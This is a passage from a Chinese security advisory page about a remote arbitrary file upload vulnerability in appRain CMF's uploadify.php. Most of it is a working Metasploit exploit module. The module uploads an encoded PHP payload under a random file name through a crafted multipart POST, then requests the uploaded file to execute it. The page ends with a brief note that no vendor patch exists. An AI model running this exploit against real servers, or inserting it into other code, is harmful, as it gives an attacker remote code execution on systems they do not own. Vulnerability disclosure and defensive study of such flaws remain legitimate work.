appRain CMF 'uploadify.php'远程任意文件上传漏洞(3)

if res and res.code == 200 and res.body.empty?
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

def exploit
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

peer = "#{rhost}:#{rport}"
    payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'

post_data = "--o0oOo0o\r\n"
    post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
    post_data << "<?php "
    post_data << payload.encoded
    post_data << " ?>\r\n"
    post_data << "--o0oOo0o\r\n"

print_status("#{peer} - Sending PHP payload (#{payload_name})")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{uri}addons/uploadify/uploadify.php",
      'ctype'  => 'multipart/form-data; boundary=o0oOo0o',
      'data'  => post_data
    })

# If the server returns 200 and the body contains our payload name,
    # we assume we uploaded the malicious file successfully
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
      print_error("#{peer} - I don't think the file was uploaded. Abort!")
      return
    end

print_status("#{peer} - Executing PHP payload (#{payload_name})")
    # Execute our payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "#{uri}addons/uploadify/uploads/#{payload_name}"
    })

# If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.  Print the status code for debugging purposes.
    if res and res.code != 200
      print_status("#{peer} - Server returns #{res.code.to_s}")
    end
  end
end

建议:
--------------------------------------------------------------------------------
厂商补丁:

appRain
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wyfsxd.html